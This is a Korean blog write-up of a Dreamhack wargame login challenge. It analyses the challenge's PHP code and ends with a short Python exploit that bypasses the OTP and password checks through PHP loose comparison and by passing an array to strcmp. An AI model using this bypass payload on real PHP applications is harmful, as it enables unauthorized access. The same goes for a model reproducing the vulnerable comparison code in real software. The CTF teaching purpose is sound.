CTF, War game

[Dreamhack] Level 1: Easy Login

mnzy๐ŸŒฑ 2024. 6. 20. 05:40

1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/1213

 

easy-login

Description ๊ด€๋ฆฌ์ž๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”! ํ”Œ๋ž˜๊ทธ ํ˜•์‹์€ DH{...} ์ž…๋‹ˆ๋‹ค.

dreamhack.io

 

2. ํ•ด๊ฒฐ ๊ณผ์ • 

(1) ๋ฌธ์ œ ํŽ˜์ด์ง€ ์ ‘์† 

- ์•„์ด๋”” / ํŒจ์Šค์›Œ๋“œ / OTP ์ž…๋ ฅ 

- admin์œผ๋กœ ๋กœ๊ทธ์ธํ•ด์•ผ ํ•˜๋ฏ€๋กœ, ํŒจ์Šค์›Œ๋“œ์™€ OTP ๋ถ€๋ถ„์„ ์ฐพ๊ฑฐ๋‚˜ ์šฐํšŒํ•ด์„œ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•ด์•ผ ํ•œ๋‹ค. 

 

 

(2) ์ฝ”๋“œ ๋ถ„์„

- index.php

  • generatePassword ํ•จ์ˆ˜๋Š” 16์ง„์ˆ˜ ๋ฌธ์ž(0-9, a-f)๋กœ ๊ตฌ์„ฑ๋œ ์ง€์ •๋œ ๊ธธ์ด์˜ ์ž„์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•œ๋‹ค.
  • generateOTP ํ•จ์ˆ˜๋Š” 'P'๋กœ ์‹œ์ž‘ํ•˜๋Š” 6์ž๋ฆฌ์˜ ์ˆซ์ž OTP๋ฅผ ์ƒ์„ฑํ•œ๋‹ค
  • admin_pw์™€ otp๋Š” ๊ฐ๊ฐ 32์ž๋ฆฌ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ OTP๋ฅผ ์ €์žฅํ•œ๋‹ค. 
<?php

function generatePassword($length) {
    $characters = '0123456789abcdef';
    $charactersLength = strlen($characters);
    $pw = '';
    for ($i = 0; $i < $length; $i++) {
        $pw .= $characters[random_int(0, $charactersLength - 1)];
    }
    return $pw;
}

function generateOTP() {
    return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

$admin_pw = generatePassword(32);
$otp = generateOTP();

...

 

- ๋กœ๊ทธ์ธ ํ•จ์ˆ˜

  • login ํ•จ์ˆ˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์ถœํ•œ ์ž๊ฒฉ ์ฆ๋ช…(cred)์„ ํ™•์ธํ•˜๊ณ  ์œ ํšจ์„ฑ์„ ๊ฒ€์‚ฌํ•œ๋‹ค.
  • cred์€ base64๋กœ ์ธ์ฝ”๋”ฉ๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ๋””์ฝ”๋“œํ•˜๊ณ  JSON์œผ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ๊ฒ€์‚ฌํ•œ๋‹ค.
  • cred์—๋Š” id, pw, otp๊ฐ€ ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ์ด ์ค‘ ํ•˜๋‚˜๋ผ๋„ ๋ˆ„๋ฝ๋˜๋ฉด "Cred error"๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค. 
  • id๊ฐ€ admin์ด ์•„๋‹ˆ๋ฉด hello ~ ๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค. 
  • id๊ฐ€ 'admin'์ด์–ด์•ผ ํ•˜๊ณ , otp๊ฐ€ ์ƒ์„ฑ๋œ otp์™€ ์ผ์น˜ํ•˜๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ admin_pw์™€ ์ผ์น˜ํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค. 
function login() {
    if (!isset($_POST['cred'])) {
        echo "Please login...";
        return;
    }

    if (!($cred = base64_decode($_POST['cred']))) {
        echo "Cred error";
        return;
    }

    if (!($cred = json_decode($cred, true))) {
        echo "Cred error";
        return;
    }

    if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
        echo "Cred error";
        return;
    }

    if ($cred['id'] != 'admin') {
        echo "Hello," . $cred['id'];
        return;
    }
    
    if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

    echo "Password fail";
    return;
}

?>

 

๋ธŒ๋ฃจํŠธ ํฌ์Šค๋ฅผ ํ†ตํ•ด์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ otp ๊ฐ’์„ ์•Œ์•„๋‚ด๋ ค๊ณ  ํ–ˆ์ง€๋งŒ, 

์„ธ์…˜์— ํ•ด๋‹น ๊ฐ’์ด ์ €์žฅ๋˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ฏ€๋กœ ์‹œ๋„ํ•  ๋•Œ๋งˆ๋‹ค ์ƒˆ๋กœ์šด ํŒจ์Šค์›Œ๋“œ์™€ otp ๊ฐ’์ด ์ƒ์„ฑ๋˜๋ฏ€๋กœ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. 

๋”ฐ๋ผ์„œ ํŒจ์Šค์›Œ๋“œ ์ž…๋ ฅ๊ณผ otp์ž…๋ ฅ์„ ์šฐํšŒํ•ด์•ผ ํ•œ๋‹ค. 

 

https://www.php.net/manual/en/types.comparisons.php

 

PHP: PHP type comparison tables - Manual

Some function to write out your own comparisson table in tsv format. Can be easily modified to add more testcases and/or binary functions. It will test all comparables against each other with all functions. '==', 'ne' => '!=', 'gt' => '>', 'lt' => '<', 'ne

www.php.net

 

์œ„์˜ ๋งํฌ๋ฅผ ํ†ตํ•ด์„œ PHP์˜ ๋น„๊ต์—ฐ์‚ฐ์— ๋Œ€ํ•œ ์šฐํšŒ๋ฒ•์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค. 

PHP์—์„œ๋Š” ๋ฌธ์ž์—ด์„ ๋น„๊ตํ•  ๋•Œ ์ž๋™์œผ๋กœ ํƒ€์ž… ๋ณ€ํ™˜์ด ์ด๋ฃจ์–ด์ง„๋‹ค.

๋”ฐ๋ผ์„œ ํŠน์ • ๊ฐ’๋“ค์„ ๋น„๊ตํ•  ๋•Œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ฌ ์ˆ˜ ์žˆ๋‹ค.

 

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด OTP๋Š” != ๋ฅผ ํ†ตํ•ด์„œ ๋น„๊ต๋ฅผ ํ•˜๊ณ  ์žˆ๋‹ค. 

์ฆ‰, loose ๋น„๊ต๋ฅผ ์ง„ํ–‰ํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ ๊ฐ’๋งŒ ๋น„๊ตํ•˜๊ณ  ์žˆ์œผ๋ฉฐ ํƒ€์ž…์ด ๋‹ค๋ฅด๋ฉด ํ˜•๋ณ€ํ™˜์„ ์ง„ํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์ด๋ฅผ ์ด์šฉํ•ด์„œ otp ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค. 

generateOTP ํ•จ์ˆ˜๋Š” strval ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ •์ˆ˜๋ฅผ ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, OTP์˜ ๊ฐ’์€ ๋ฌธ์ž์—ด์ด๋‹ค. 

๋”ฐ๋ผ์„œ ๋งŒ์•ฝ ์ž…๋ ฅ๊ฐ’์„ ๋ฌธ์ž์—ด๋กœ ์ฃผ์ง€ ์•Š๊ณ , true๊ฐ’(boolean)์ด ๋ฐ˜ํ™˜๋˜๋„๋ก ํ•˜๋ฉด php๋Š” ์ด๋ฅผ ๋™์ผํ•˜๋‹ค๊ณ  ํŒ๋‹จํ•  ๊ฒƒ์ด๋‹ค. 

   if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

 

๋˜ํ•œ, pw๊ฐ’์€ strcmpํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ๋น„๊ต๋ฅผ ์ง„ํ–‰ํ•˜๊ณ  ์žˆ๋‹ค. 

strcmpํ•จ์ˆ˜๋Š” ์ธ์ž๊ฐ’์œผ๋กœ string์ด ๋“ค์–ด์˜ค์ง€ ์•Š์„ ๋•Œ null(false)๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ์ทจ์•ฝ์ ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค. 

๋”ฐ๋ผ์„œ, ๋ฐฐ์—ด๊ฐ’์œผ๋กœ ํŒจ์Šค์›Œ๋“œ๊ฐ’์„ ์ฃผ์–ด์„œ !null์„ ๋ฐœ์ƒ์‹œ์ผœ true๊ฐ€ ๋ฆฌํ„ด๋˜๋„๋ก ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค. 

    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

 

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ

import requests
import json
import base64

# URL
url = 'http://host3.dreamhack.games:10839/'

# ์ž…๋ ฅ
cred = {
    'id': 'admin',
    'pw': [],
    'otp': True  
}

# JSON -> base64 ์ธ์ฝ”๋”ฉ
cred_encoded = base64.b64encode(json.dumps(cred).encode()).decode()

# POST
post_data = {
    'cred': cred_encoded
}

# ์š”์ฒญ
response = requests.post(url, data=post_data)

# ์‘๋‹ต 
print(response.text)